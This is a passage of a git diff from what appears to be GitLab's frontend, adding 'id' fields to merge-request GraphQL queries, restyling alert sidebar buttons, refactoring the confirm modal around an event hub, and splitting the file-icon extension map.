+export const MERGE_DISABLED_TEXT = __(
+ 'Merge blocked: all merge request dependencies must be merged or closed.',
+);
export const MERGE_DISABLED_SKIPPED_PIPELINE_TEXT = __(
"Merge blocked: pipeline must succeed. It's waiting for a manual job to continue.",
);
diff --git a/app/assets/javascripts/vue_merge_request_widget/queries/get_state.query.graphql b/app/assets/javascripts/vue_merge_request_widget/queries/get_state.query.graphql
index bfb1517be81..0b8396b4461 100644
--- a/app/assets/javascripts/vue_merge_request_widget/queries/get_state.query.graphql
+++ b/app/assets/javascripts/vue_merge_request_widget/queries/get_state.query.graphql
@@ -1,9 +1,11 @@
query getState($projectPath: ID!, $iid: String!) {
project(fullPath: $projectPath) {
+ id
archived
onlyAllowMergeIfPipelineSucceeds
mergeRequest(iid: $iid) {
+ id
autoMergeEnabled
commitCount
conflicts
diff --git a/app/assets/javascripts/vue_merge_request_widget/queries/permissions.query.graphql b/app/assets/javascripts/vue_merge_request_widget/queries/permissions.query.graphql
index ae2a67440fe..7ca3ff39fbe 100644
--- a/app/assets/javascripts/vue_merge_request_widget/queries/permissions.query.graphql
+++ b/app/assets/javascripts/vue_merge_request_widget/queries/permissions.query.graphql
@@ -1,6 +1,8 @@
query userPermissionsQuery($projectPath: ID!, $iid: String!) {
project(fullPath: $projectPath) {
+ id
mergeRequest(iid: $iid) {
+ id
userPermissions {
canMerge
pushToSourceBranch
diff --git a/app/assets/javascripts/vue_merge_request_widget/queries/states/auto_merge_enabled.fragment.graphql b/app/assets/javascripts/vue_merge_request_widget/queries/states/auto_merge_enabled.fragment.graphql
index ad715599eb1..fc25e699e39 100644
--- a/app/assets/javascripts/vue_merge_request_widget/queries/states/auto_merge_enabled.fragment.graphql
+++ b/app/assets/javascripts/vue_merge_request_widget/queries/states/auto_merge_enabled.fragment.graphql
@@ -1,4 +1,5 @@
fragment autoMergeEnabled on MergeRequest {
+ id
autoMergeStrategy
mergeUser {
id
diff --git a/app/assets/javascripts/vue_merge_request_widget/queries/states/auto_merge_enabled.query.graphql b/app/assets/javascripts/vue_merge_request_widget/queries/states/auto_merge_enabled.query.graphql
index e0215fbd969..2d79d35cf24 100644
--- a/app/assets/javascripts/vue_merge_request_widget/queries/states/auto_merge_enabled.query.graphql
+++ b/app/assets/javascripts/vue_merge_request_widget/queries/states/auto_merge_enabled.query.graphql
@@ -2,6 +2,7 @@
query autoMergeEnabled($projectPath: ID!, $iid: String!) {
project(fullPath: $projectPath) {
+ id
mergeRequest(iid: $iid) {
...autoMergeEnabled
}
diff --git a/app/assets/javascripts/vue_merge_request_widget/queries/states/auto_merge_failed.query.graphql b/app/assets/javascripts/vue_merge_request_widget/queries/states/auto_merge_failed.query.graphql
index 2fe0d174b67..da8aeab9dcb 100644
--- a/app/assets/javascripts/vue_merge_request_widget/queries/states/auto_merge_failed.query.graphql
+++ b/app/assets/javascripts/vue_merge_request_widget/queries/states/auto_merge_failed.query.graphql
@@ -1,6 +1,8 @@
query autoMergeFailedQuery($projectPath: ID!, $iid: String!) {
project(fullPath: $projectPath) {
+ id
mergeRequest(iid: $iid) {
+ id
mergeError
}
}
diff --git a/app/assets/javascripts/vue_merge_request_widget/queries/states/conflicts.query.graphql b/app/assets/javascripts/vue_merge_request_widget/queries/states/conflicts.query.graphql
index e66ac01ab12..faf21b28f86 100644
--- a/app/assets/javascripts/vue_merge_request_widget/queries/states/conflicts.query.graphql
+++ b/app/assets/javascripts/vue_merge_request_widget/queries/states/conflicts.query.graphql
@@ -1,6 +1,8 @@
query workInProgress($projectPath: ID!, $iid: String!) {
project(fullPath: $projectPath) {
+ id
mergeRequest(iid: $iid) {
+ id
shouldBeRebased
sourceBranchProtected
}
diff --git a/app/assets/javascripts/vue_merge_request_widget/queries/states/draft.query.graphql b/app/assets/javascripts/vue_merge_request_widget/queries/states/draft.query.graphql
index 0983c28448e..54f2233439f 100644
--- a/app/assets/javascripts/vue_merge_request_widget/queries/states/draft.query.graphql
+++ b/app/assets/javascripts/vue_merge_request_widget/queries/states/draft.query.graphql
@@ -1,6 +1,8 @@
query mrUserPermission($projectPath: ID!, $iid: String!) {
project(fullPath: $projectPath) {
+ id
mergeRequest(iid: $iid) {
+ id
userPermissions {
updateMergeRequest
}
diff --git a/app/assets/javascripts/vue_merge_request_widget/queries/states/missing_branch.query.graphql b/app/assets/javascripts/vue_merge_request_widget/queries/states/missing_branch.query.graphql
index ea95218aec6..4d87d55f671 100644
--- a/app/assets/javascripts/vue_merge_request_widget/queries/states/missing_branch.query.graphql
+++ b/app/assets/javascripts/vue_merge_request_widget/queries/states/missing_branch.query.graphql
@@ -1,6 +1,8 @@
query missingBranchQuery($projectPath: ID!, $iid: String!) {
project(fullPath: $projectPath) {
+ id
mergeRequest(iid: $iid) {
+ id
sourceBranchExists
}
}
diff --git a/app/assets/javascripts/vue_merge_request_widget/queries/states/new_ready_to_merge.query.graphql b/app/assets/javascripts/vue_merge_request_widget/queries/states/new_ready_to_merge.query.graphql
index 21c3ffd8321..73c9e77b7bc 100644
--- a/app/assets/javascripts/vue_merge_request_widget/queries/states/new_ready_to_merge.query.graphql
+++ b/app/assets/javascripts/vue_merge_request_widget/queries/states/new_ready_to_merge.query.graphql
@@ -1,6 +1,8 @@
query getReadyToMergeStatus($projectPath: ID!, $iid: String!) {
project(fullPath: $projectPath) {
+ id
mergeRequest(iid: $iid) {
+ id
userPermissions {
canMerge
}
diff --git a/app/assets/javascripts/vue_merge_request_widget/queries/states/ready_to_merge.fragment.graphql b/app/assets/javascripts/vue_merge_request_widget/queries/states/ready_to_merge.fragment.graphql
index b2a1be5c5a9..d85794f7245 100644
--- a/app/assets/javascripts/vue_merge_request_widget/queries/states/ready_to_merge.fragment.graphql
+++ b/app/assets/javascripts/vue_merge_request_widget/queries/states/ready_to_merge.fragment.graphql
@@ -1,8 +1,10 @@
fragment ReadyToMerge on Project {
+ id
onlyAllowMergeIfPipelineSucceeds
mergeRequestsFfOnlyEnabled
squashReadOnly
mergeRequest(iid: $iid) {
+ id
autoMergeEnabled
shouldRemoveSourceBranch
forceRemoveSourceBranch
@@ -26,6 +28,7 @@ fragment ReadyToMerge on Project {
mergeError
commitsWithoutMergeCommits {
nodes {
+ id
sha
shortId
title
diff --git a/app/assets/javascripts/vue_merge_request_widget/queries/states/rebase.query.graphql b/app/assets/javascripts/vue_merge_request_widget/queries/states/rebase.query.graphql
index a8c7d2610bf..283177267d4 100644
--- a/app/assets/javascripts/vue_merge_request_widget/queries/states/rebase.query.graphql
+++ b/app/assets/javascripts/vue_merge_request_widget/queries/states/rebase.query.graphql
@@ -1,6 +1,8 @@
query rebaseQuery($projectPath: ID!, $iid: String!) {
project(fullPath: $projectPath) {
+ id
mergeRequest(iid: $iid) {
+ id
rebaseInProgress
targetBranch
userPermissions {
diff --git a/app/assets/javascripts/vue_merge_request_widget/queries/toggle_draft.mutation.graphql b/app/assets/javascripts/vue_merge_request_widget/queries/toggle_draft.mutation.graphql
index 200fb1b7ca5..022629bb802 100644
--- a/app/assets/javascripts/vue_merge_request_widget/queries/toggle_draft.mutation.graphql
+++ b/app/assets/javascripts/vue_merge_request_widget/queries/toggle_draft.mutation.graphql
@@ -1,6 +1,7 @@
mutation toggleDraftStatus($projectPath: ID!, $iid: String!, $draft: Boolean!) {
mergeRequestSetDraft(input: { projectPath: $projectPath, iid: $iid, draft: $draft }) {
mergeRequest {
+ id
mergeableDiscussionsState
title
draft
diff --git a/app/assets/javascripts/vue_merge_request_widget/stores/mr_widget_store.js b/app/assets/javascripts/vue_merge_request_widget/stores/mr_widget_store.js
index 10a2907c81a..57af869a0ba 100644
--- a/app/assets/javascripts/vue_merge_request_widget/stores/mr_widget_store.js
+++ b/app/assets/javascripts/vue_merge_request_widget/stores/mr_widget_store.js
@@ -59,7 +59,6 @@ export default class MergeRequestStore {
this.sourceBranch = data.source_branch;
this.sourceBranchProtected = data.source_branch_protected;
this.conflictsDocsPath = data.conflicts_docs_path;
- this.mergeTrainWhenPipelineSucceedsDocsPath = data.merge_train_when_pipeline_succeeds_docs_path;
this.commitMessage = data.default_merge_commit_message;
this.shortMergeCommitSha = data.short_merged_commit_sha;
this.mergeCommitSha = data.merged_commit_sha;
diff --git a/app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_assignees.vue b/app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_assignees.vue
index c24318cb9ad..489d4afa41f 100644
--- a/app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_assignees.vue
+++ b/app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_assignees.vue
@@ -220,16 +220,17 @@ export default {
class="gl-text-gray-900 gl-mb-2 gl-line-height-20 gl-display-flex gl-justify-content-space-between"
>
{{ __('Assignee') }}
- <a
+ <gl-button
v-if="isEditable"
ref="editButton"
- class="btn-link"
- href="#"
+ category="tertiary"
+ size="small"
+ class="gl-text-black-normal!"
@click="toggleFormDropdown"
@keydown.esc="hideDropdown"
>
{{ __('Edit') }}
- </a>
+ </gl-button>
</p>
<gl-dropdown
diff --git a/app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_status.vue b/app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_status.vue
index eaa5fc5af04..c512585b980 100644
--- a/app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_status.vue
+++ b/app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_status.vue
@@ -100,7 +100,8 @@ export default {
<gl-button
v-if="isEditable"
class="gl-text-black-normal!"
- variant="link"
+ category="tertiary"
+ size="small"
@click="toggleFormDropdown"
@keydown.esc="hideDropdown"
>
diff --git a/app/assets/javascripts/vue_shared/alert_details/graphql/mutations/alert_issue_create.mutation.graphql b/app/assets/javascripts/vue_shared/alert_details/graphql/mutations/alert_issue_create.mutation.graphql
index f0095abfca1..0460d250f75 100644
--- a/app/assets/javascripts/vue_shared/alert_details/graphql/mutations/alert_issue_create.mutation.graphql
+++ b/app/assets/javascripts/vue_shared/alert_details/graphql/mutations/alert_issue_create.mutation.graphql
@@ -2,6 +2,7 @@ mutation createAlertIssue($projectPath: ID!, $iid: String!) {
createAlertIssue(input: { iid: $iid, projectPath: $projectPath }) {
errors
issue {
+ id
iid
webUrl
}
diff --git a/app/assets/javascripts/vue_shared/alert_details/graphql/queries/alert_sidebar_details.query.graphql b/app/assets/javascripts/vue_shared/alert_details/graphql/queries/alert_sidebar_details.query.graphql
index 0c26fcc0ab2..0ea209ffd39 100644
--- a/app/assets/javascripts/vue_shared/alert_details/graphql/queries/alert_sidebar_details.query.graphql
+++ b/app/assets/javascripts/vue_shared/alert_details/graphql/queries/alert_sidebar_details.query.graphql
@@ -3,6 +3,7 @@
query alertDetailsAssignees($fullPath: ID!, $alertId: String) {
project(fullPath: $fullPath) {
+ id
alertManagementAlerts(iid: $alertId) {
nodes {
...AlertDetailItem
diff --git a/app/assets/javascripts/vue_shared/components/chronic_duration_input.vue b/app/assets/javascripts/vue_shared/components/chronic_duration_input.vue
new file mode 100644
index 00000000000..ffbcdefc924
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/chronic_duration_input.vue
@@ -0,0 +1,133 @@
+<script>
+import * as Sentry from '@sentry/browser';
+import { GlFormInput } from '@gitlab/ui';
+import {
+ DurationParseError,
+ outputChronicDuration,
+ parseChronicDuration,
+} from '~/chronic_duration';
+import { __ } from '~/locale';
+
+export default {
+ components: {
+ GlFormInput,
+ },
+ model: {
+ prop: 'value',
+ event: 'change',
+ },
+ props: {
+ value: {
+ type: Number,
+ required: false,
+ default: null,
+ },
+ name: {
+ type: String,
+ required: false,
+ default: null,
+ },
+ integerRequired: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
+ },
+ data() {
+ return {
+ numberData: this.value,
+ humanReadableData: this.convertDuration(this.value),
+ isValueValid: this.value === null ? null : true,
+ };
+ },
+ computed: {
+ numberValue: {
+ get() {
+ return this.numberData;
+ },
+ set(value) {
+ if (this.numberData !== value) {
+ this.numberData = value;
+ this.humanReadableData = this.convertDuration(value);
+ this.isValueValid = value === null ? null : true;
+ }
+ this.emitEvents();
+ },
+ },
+ humanReadableValue: {
+ get() {
+ return this.humanReadableData;
+ },
+ set(value) {
+ this.humanReadableData = value;
+ try {
+ if (value === '') {
+ this.numberData = null;
+ this.isValueValid = null;
+ } else {
+ this.numberData = parseChronicDuration(value, {
+ keepZero: true,
+ raiseExceptions: true,
+ });
+ this.isValueValid = true;
+ }
+ } catch (e) {
+ if (e instanceof DurationParseError) {
+ this.isValueValid = false;
+ } else {
+ Sentry.captureException(e);
+ }
+ }
+ this.emitEvents(true);
+ },
+ },
+ isValidDecimal() {
+ return !this.integerRequired || this.numberData === null || Number.isInteger(this.numberData);
+ },
+ feedback() {
+ if (this.isValueValid === false) {
+ return this.$options.i18n.INVALID_INPUT_FEEDBACK;
+ }
+ if (!this.isValidDecimal) {
+ return this.$options.i18n.INVALID_DECIMAL_FEEDBACK;
+ }
+ return '';
+ },
+ },
+ i18n: {
+ INVALID_INPUT_FEEDBACK: __('Please enter a valid time interval'),
+ INVALID_DECIMAL_FEEDBACK: __('An integer value is required for seconds'),
+ },
+ watch: {
+ value() {
+ this.numberValue = this.value;
+ },
+ },
+ mounted() {
+ this.emitEvents();
+ },
+ methods: {
+ convertDuration(value) {
+ return value === null ? '' : outputChronicDuration(value);
+ },
+ emitEvents(emitChange = false) {
+ if (emitChange && this.isValueValid !== false && this.isValidDecimal) {
+ this.$emit('change', this.numberData);
+ }
+ const { feedback } = this;
+ this.$refs.text.$el.setCustomValidity(feedback);
+ this.$refs.hidden.setCustomValidity(feedback);
+ this.$emit('valid', {
+ valid: this.isValueValid && this.isValidDecimal,
+ feedback,
+ });
+ },
+ },
+};
+</script>
+<template>
+ <div>
+ <gl-form-input ref="text" v-bind="$attrs" v-model="humanReadableValue" />
+ <input ref="hidden" type="hidden" :name="name" :value="numberValue" />
+ </div>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/clipboard_button.vue b/app/assets/javascripts/vue_shared/components/clipboard_button.vue
index fe329b18f30..400be3ef688 100644
--- a/app/assets/javascripts/vue_shared/components/clipboard_button.vue
+++ b/app/assets/javascripts/vue_shared/components/clipboard_button.vue
@@ -66,6 +66,11 @@ export default {
required: false,
default: 'medium',
},
+ variant: {
+ type: String,
+ required: false,
+ default: 'default',
+ },
},
computed: {
clipboardText() {
@@ -92,6 +97,7 @@ export default {
:size="size"
icon="copy-to-clipboard"
:aria-label="__('Copy this value')"
+ :variant="variant"
v-on="$listeners"
>
<slot></slot>
diff --git a/app/assets/javascripts/vue_shared/components/commit.vue b/app/assets/javascripts/vue_shared/components/commit.vue
index 5f50a699034..ebbc1bfb037 100644
--- a/app/assets/javascripts/vue_shared/components/commit.vue
+++ b/app/assets/javascripts/vue_shared/components/commit.vue
@@ -2,7 +2,7 @@
import { GlTooltipDirective, GlLink, GlIcon } from '@gitlab/ui';
import { isString, isEmpty } from 'lodash';
import { __, sprintf } from '~/locale';
-import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
+import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate/tooltip_on_truncate.vue';
import UserAvatarLink from './user_avatar/user_avatar_link.vue';
export default {
diff --git a/app/assets/javascripts/vue_shared/components/confirm_danger/confirm_danger.vue b/app/assets/javascripts/vue_shared/components/confirm_danger/confirm_danger.vue
index 4c07cf44fed..f93415ced45 100644
--- a/app/assets/javascripts/vue_shared/components/confirm_danger/confirm_danger.vue
+++ b/app/assets/javascripts/vue_shared/components/confirm_danger/confirm_danger.vue
@@ -26,6 +26,11 @@ export default {
type: String,
required: true,
},
+ buttonClass: {
+ type: String,
+ required: false,
+ default: '',
+ },
buttonTestid: {
type: String,
required: false,
@@ -39,7 +44,7 @@ export default {
<div>
<gl-button
v-gl-modal="$options.modalId"
- class="gl-button"
+ :class="buttonClass"
variant="danger"
:disabled="disabled"
:data-testid="buttonTestid"
diff --git a/app/assets/javascripts/vue_shared/components/confirm_danger/confirm_danger_modal.vue b/app/assets/javascripts/vue_shared/components/confirm_danger/confirm_danger_modal.vue
index 30c96daf7e3..5bbe44b20b3 100644
--- a/app/assets/javascripts/vue_shared/components/confirm_danger/confirm_danger_modal.vue
+++ b/app/assets/javascripts/vue_shared/components/confirm_danger/confirm_danger_modal.vue
@@ -47,7 +47,7 @@ export default {
actionPrimary() {
return {
text: this.confirmButtonText,
- attributes: [{ variant: 'danger', disabled: !this.isValid }],
+ attributes: [{ variant: 'danger', disabled: !this.isValid, class: 'qa-confirm-button' }],
};
},
},
@@ -95,7 +95,7 @@ export default {
<gl-form-input
id="confirm_name_input"
v-model="confirmationPhrase"
- class="form-control"
+ class="form-control qa-confirm-input"
data-testid="confirm-danger-input"
type="text"
/>
diff --git a/app/assets/javascripts/vue_shared/components/confirm_modal.vue b/app/assets/javascripts/vue_shared/components/confirm_modal.vue
index 7c1d3772acd..72504e5bc50 100644
--- a/app/assets/javascripts/vue_shared/components/confirm_modal.vue
+++ b/app/assets/javascripts/vue_shared/components/confirm_modal.vue
@@ -2,10 +2,13 @@
import { GlModal, GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
import { uniqueId } from 'lodash';
import csrf from '~/lib/utils/csrf';
+import eventHub, { EVENT_OPEN_CONFIRM_MODAL } from './confirm_modal_eventhub';
+import DomElementListener from './dom_element_listener.vue';
export default {
components: {
GlModal,
+ DomElementListener,
},
directives: {
SafeHtml,
@@ -30,18 +33,35 @@ export default {
};
},
mounted() {
- document.querySelectorAll(this.selector).forEach((button) => {
- button.addEventListener('click', (e) => {
- e.preventDefault();
-
- this.path = button.dataset.path;
- this.method = button.dataset.method;
- this.modalAttributes = JSON.parse(button.dataset.modalAttributes);
- this.openModal();
- });
- });
+ eventHub.$on(EVENT_OPEN_CONFIRM_MODAL, this.onOpenEvent);
+ },
+ destroyed() {
+ eventHub.$off(EVENT_OPEN_CONFIRM_MODAL, this.onOpenEvent);
},
methods: {
+ onButtonPress(e) {
+ const element = e.currentTarget;
+
+ if (!element.dataset.path) {
+ return;
+ }
+
+ const modalAttributes = element.dataset.modalAttributes
+ ? JSON.parse(element.dataset.modalAttributes)
+ : {};
+
+ this.onOpenEvent({
+ path: element.dataset.path,
+ method: element.dataset.method,
+ modalAttributes,
+ });
+ },
+ onOpenEvent({ path, method, modalAttributes }) {
+ this.path = path;
+ this.method = method;
+ this.modalAttributes = modalAttributes;
+ this.openModal();
+ },
openModal() {
this.$refs.modal.show();
},
@@ -61,21 +81,23 @@ export default {
</script>
<template>
- <gl-modal
- ref="modal"
- :modal-id="modalId"
- v-bind="modalAttributes"
- @primary="submitModal"
- @cancel="closeModal"
- >
- <form ref="form" :action="path" method="post">
- <!-- Rails workaround for <form method="delete" />
+ <dom-element-listener :selector="selector" @click.prevent="onButtonPress">
+ <gl-modal
+ ref="modal"
+ :modal-id="modalId"
+ v-bind="modalAttributes"
+ @primary="submitModal"
+ @cancel="closeModal"
+ >
+ <form ref="form" :action="path" method="post">
+ <!-- Rails workaround for <form method="delete" />
https://github.com/rails/rails/blob/master/actionview/app/assets/javascripts/rails-ujs/features/method.coffee
-->
- <input type="hidden" name="_method" :value="method" />
- <input type="hidden" name="authenticity_token" :value="$options.csrf.token" />
- <div v-if="modalAttributes.messageHtml" v-safe-html="modalAttributes.messageHtml"></div>
- <div v-else>{{ modalAttributes.message }}</div>
- </form>
- </gl-modal>
+ <input type="hidden" name="_method" :value="method" />
+ <input type="hidden" name="authenticity_token" :value="$options.csrf.token" />
+ <div v-if="modalAttributes.messageHtml" v-safe-html="modalAttributes.messageHtml"></div>
+ <div v-else>{{ modalAttributes.message }}</div>
+ </form>
+ </gl-modal>
+ </dom-element-listener>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/confirm_modal_eventhub.js b/app/assets/javascripts/vue_shared/components/confirm_modal_eventhub.js
new file mode 100644
index 00000000000..f8d9d410ace
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/confirm_modal_eventhub.js
@@ -0,0 +1,5 @@
+import createEventHub from '~/helpers/event_hub_factory';
+
+export default createEventHub();
+
+export const EVENT_OPEN_CONFIRM_MODAL = Symbol('OPEN');
diff --git a/app/assets/javascripts/vue_shared/components/date_time_picker/date_time_picker.vue b/app/assets/javascripts/vue_shared/components/date_time_picker/date_time_picker.vue
index 1a96cabf755..e546ca57c5e 100644
--- a/app/assets/javascripts/vue_shared/components/date_time_picker/date_time_picker.vue
+++ b/app/assets/javascripts/vue_shared/components/date_time_picker/date_time_picker.vue
@@ -3,7 +3,7 @@ import { GlIcon, GlButton, GlDropdown, GlDropdownItem, GlFormGroup } from '@gitl
import { convertToFixedRange, isEqualTimeRanges, findTimeRange } from '~/lib/utils/datetime_range';
import { __, sprintf } from '~/locale';
-import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
+import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate/tooltip_on_truncate.vue';
import DateTimePickerInput from './date_time_picker_input.vue';
import {
defaultTimeRanges,
diff --git a/app/assets/javascripts/vue_shared/components/design_management/design_note_pin.vue b/app/assets/javascripts/vue_shared/components/design_management/design_note_pin.vue
new file mode 100644
index 00000000000..cb038a8c4e1
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/design_management/design_note_pin.vue
@@ -0,0 +1,67 @@
+<script>
+import { GlIcon } from '@gitlab/ui';
+import { __, sprintf } from '~/locale';
+
+export default {
+ name: 'DesignNotePin',
+ components: {
+ GlIcon,
+ },
+ props: {
+ position: {
+ type: Object,
+ required: false,
+ default: null,
+ },
+ label: {
+ type: Number,
+ required: false,
+ default: null,
+ },
+ isResolved: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ isInactive: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ computed: {
+ isNewNote() {
+ return this.label === null;
+ },
+ pinLabel() {
+ return this.isNewNote
+ ? __('Comment form position')
+ : sprintf(__("Comment '%{label}' position"), { label: this.label });
+ },
+ },
+};
+</script>
+
+<template>
+ <button
+ :style="position"
+ :aria-label="pinLabel"
+ :class="{
+ 'btn-transparent comment-indicator': isNewNote,
+ 'js-image-badge design-note-pin': !isNewNote,
+ resolved: isResolved,
+ inactive: isInactive,
+ 'gl-absolute': position,
+ }"
+ class="gl-display-flex gl-align-items-center gl-justify-content-center gl-font-sm"
+ type="button"
+ @mousedown="$emit('mousedown', $event)"
+ @mouseup="$emit('mouseup', $event)"
+ @click="$emit('click', $event)"
+ >
+ <gl-icon v-if="isNewNote" name="image-comment-dark" :size="24" />
+ <template v-else>
+ {{ label }}
+ </template>
+ </button>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/dismissible_alert.vue b/app/assets/javascripts/vue_shared/components/dismissible_alert.vue
index 52371e42ba1..0621ec14c6c 100644
--- a/app/assets/javascripts/vue_shared/components/dismissible_alert.vue
+++ b/app/assets/javascripts/vue_shared/components/dismissible_alert.vue
@@ -24,6 +24,7 @@ export default {
methods: {
dismiss() {
this.isDismissed = true;
+ this.$emit('alertDismissed');
},
},
};
diff --git a/app/assets/javascripts/vue_shared/components/dom_element_listener.vue b/app/assets/javascripts/vue_shared/components/dom_element_listener.vue
new file mode 100644
index 00000000000..ca427ed4897
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/dom_element_listener.vue
@@ -0,0 +1,28 @@
+<script>
+export default {
+ props: {
+ selector: {
+ type: String,
+ required: true,
+ },
+ },
+ mounted() {
+ this.disposables = Array.from(document.querySelectorAll(this.selector)).flatMap((button) => {
+ return Object.entries(this.$listeners).map(([key, value]) => {
+ button.addEventListener(key, value);
+ return () => {
+ button.removeEventListener(key, value);
+ };
+ });
+ });
+ },
+ destroyed() {
+ this.disposables.forEach((x) => {
+ x();
+ });
+ },
+ render() {
+ return this.$slots.default;
+ },
+};
+</script>
diff --git a/app/assets/javascripts/vue_shared/components/file_icon/file_icon_map.js b/app/assets/javascripts/vue_shared/components/file_icon/file_icon_map.js
index e1e71639115..8686d317c8a 100644
--- a/app/assets/javascripts/vue_shared/components/file_icon/file_icon_map.js
+++ b/app/assets/javascripts/vue_shared/components/file_icon/file_icon_map.js
@@ -6,15 +6,10 @@ const fileExtensionIcons = {
jade: 'pug',
pug: 'pug',
md: 'markdown',
- 'md.rendered': 'markdown',
markdown: 'markdown',
- 'markdown.rendered': 'markdown',
mdown: 'markdown',
- 'mdown.rendered': 'markdown',
mkd: 'markdown',
- 'mkd.rendered': 'markdown',
mkdn: 'markdown',
- 'mkdn.rendered': 'markdown',
rst: 'markdown',
blink: 'blink',
css: 'css',
@@ -23,7 +18,6 @@ const fileExtensionIcons = {
less: 'less',
json: 'json',
yaml: 'yaml',
- 'YAML-tmLanguage': 'yaml',
yml: 'yaml',
xml: 'xml',
plist: 'xml',
@@ -85,10 +79,7 @@ const fileExtensionIcons = {
props: 'settings',
toml: 'settings',
prefs: 'settings',
- 'sln.dotsettings': 'settings',
- 'sln.dotsettings.user': 'settings',
ts: 'typescript',
- 'd.ts': 'typescript-def',
marko: 'markojs',
pdf: 'pdf',
xlsx: 'table',
@@ -99,7 +90,6 @@ const fileExtensionIcons = {
vscodeignore: 'vscode',
vsixmanifest: 'vscode',
vsix: 'vscode',
- 'code-workplace': 'vscode',
suo: 'visualstudio',
sln: 'visualstudio',
csproj: 'visualstudio',
@@ -118,7 +108,6 @@ const fileExtensionIcons = {
xz: 'zip',
bzip2: 'zip',
gzip: 'zip',
- '7z': 'zip',
rar: 'zip',
tgz: 'zip',
exe: 'exe',
@@ -129,7 +118,6 @@ const fileExtensionIcons = {
c: 'c',
m: 'c',
h: 'h',
- 'c++': 'cpp',
cc: 'cpp',
cpp: 'cpp',
mm: 'cpp',
@@ -231,7 +219,6 @@ const fileExtensionIcons = {
m2v: 'movie',
vdi: 'virtual',
vbox: 'virtual',
- 'vbox-prev': 'virtual',
ics: 'email',
mp3: 'music',
flac: 'music',
@@ -277,44 +264,12 @@ const fileExtensionIcons = {
ml: 'ocaml',
mli: 'ocaml',
cmx: 'ocaml',
- 'js.map': 'javascript-map',
- 'css.map': 'css-map',
lock: 'lock',
hbs: 'handlebars',
mustache: 'handlebars',
pl: 'perl',
pm: 'perl',
hx: 'haxe',
- 'spec.ts': 'test-ts',
- 'test.ts': 'test-ts',
- 'ts.snap': 'test-ts',
- 'spec.tsx': 'test-jsx',
- 'test.tsx': 'test-jsx',
- 'tsx.snap': 'test-jsx',
- 'spec.jsx': 'test-jsx',
- 'test.jsx': 'test-jsx',
- 'jsx.snap': 'test-jsx',
- 'spec.js': 'test-js',
- 'test.js': 'test-js',
- 'js.snap': 'test-js',
- 'routing.ts': 'angular-routing',
- 'routing.js': 'angular-routing',
- 'module.ts': 'angular',
- 'module.js': 'angular',
- 'ng-template': 'angular',
- 'component.ts': 'angular-component',
- 'component.js': 'angular-component',
- 'guard.ts': 'angular-guard',
- 'guard.js': 'angular-guard',
- 'service.ts': 'angular-service',
- 'service.js': 'angular-service',
- 'pipe.ts': 'angular-pipe',
- 'pipe.js': 'angular-pipe',
- 'filter.js': 'angular-pipe',
- 'directive.ts': 'angular-directive',
- 'directive.js': 'angular-directive',
- 'resolver.ts': 'angular-resolver',
- 'resolver.js': 'angular-resolver',
pp: 'puppet',
ex: 'elixir',
exs: 'elixir',
@@ -345,11 +300,8 @@ const fileExtensionIcons = {
haml: 'haml',
yang: 'yang',
tf: 'terraform',
- 'tf.json': 'terraform',
tfvars: 'terraform',
tfstate: 'terraform',
- 'blade.php': 'laravel',
- 'inky.php': 'laravel',
applescript: 'applescript',
cake: 'cake',
feature: 'cucumber',
@@ -376,16 +328,68 @@ const fileExtensionIcons = {
kv: 'kivy',
graphcool: 'graphcool',
sbt: 'sbt',
+ cr: 'crystal',
+ cu: 'cuda',
+ cuh: 'cuda',
+ log: 'log',
+};
+
+const twoFileExtensionIcons = {
+ 'gradle.kts': 'gradle',
+ 'md.rendered': 'markdown',
+ 'markdown.rendered': 'markdown',
+ 'mdown.rendered': 'markdown',
+ 'mkd.rendered': 'markdown',
+ 'mkdn.rendered': 'markdown',
+ 'YAML-tmLanguage': 'yaml',
+ 'sln.dotsettings': 'settings',
+ 'sln.dotsettings.user': 'settings',
+ 'd.ts': 'typescript-def',
+ 'code-workplace': 'vscode',
+ '7z': 'zip',
+ 'c++': 'cpp',
+ 'vbox-prev': 'virtual',
+ 'js.map': 'javascript-map',
+ 'css.map': 'css-map',
+ 'spec.ts': 'test-ts',
+ 'test.ts': 'test-ts',
+ 'ts.snap': 'test-ts',
+ 'spec.tsx': 'test-jsx',
+ 'test.tsx': 'test-jsx',
+ 'tsx.snap': 'test-jsx',
+ 'spec.jsx': 'test-jsx',
+ 'test.jsx': 'test-jsx',
+ 'jsx.snap': 'test-jsx',
+ 'spec.js': 'test-js',
+ 'test.js': 'test-js',
+ 'js.snap': 'test-js',
+ 'routing.ts': 'angular-routing',
+ 'routing.js': 'angular-routing',
+ 'module.ts': 'angular',
+ 'module.js': 'angular',
+ 'ng-template': 'angular',
+ 'component.ts': 'angular-component',
+ 'component.js': 'angular-component',
+ 'guard.ts': 'angular-guard',
+ 'guard.js': 'angular-guard',
+ 'service.ts': 'angular-service',
+ 'service.js': 'angular-service',
+ 'pipe.ts': 'angular-pipe',
+ 'pipe.js': 'angular-pipe',
+ 'filter.js': 'angular-pipe',
+ 'directive.ts': 'angular-directive',
+ 'directive.js': 'angular-directive',
+ 'resolver.ts': 'angular-resolver',
+ 'resolver.js': 'angular-resolver',
+ 'tf.json': 'terraform',
+ 'blade.php': 'laravel',
+ 'inky.php': 'laravel',
'reducer.ts': 'ngrx-reducer',
'rootReducer.ts': 'ngrx-reducer',
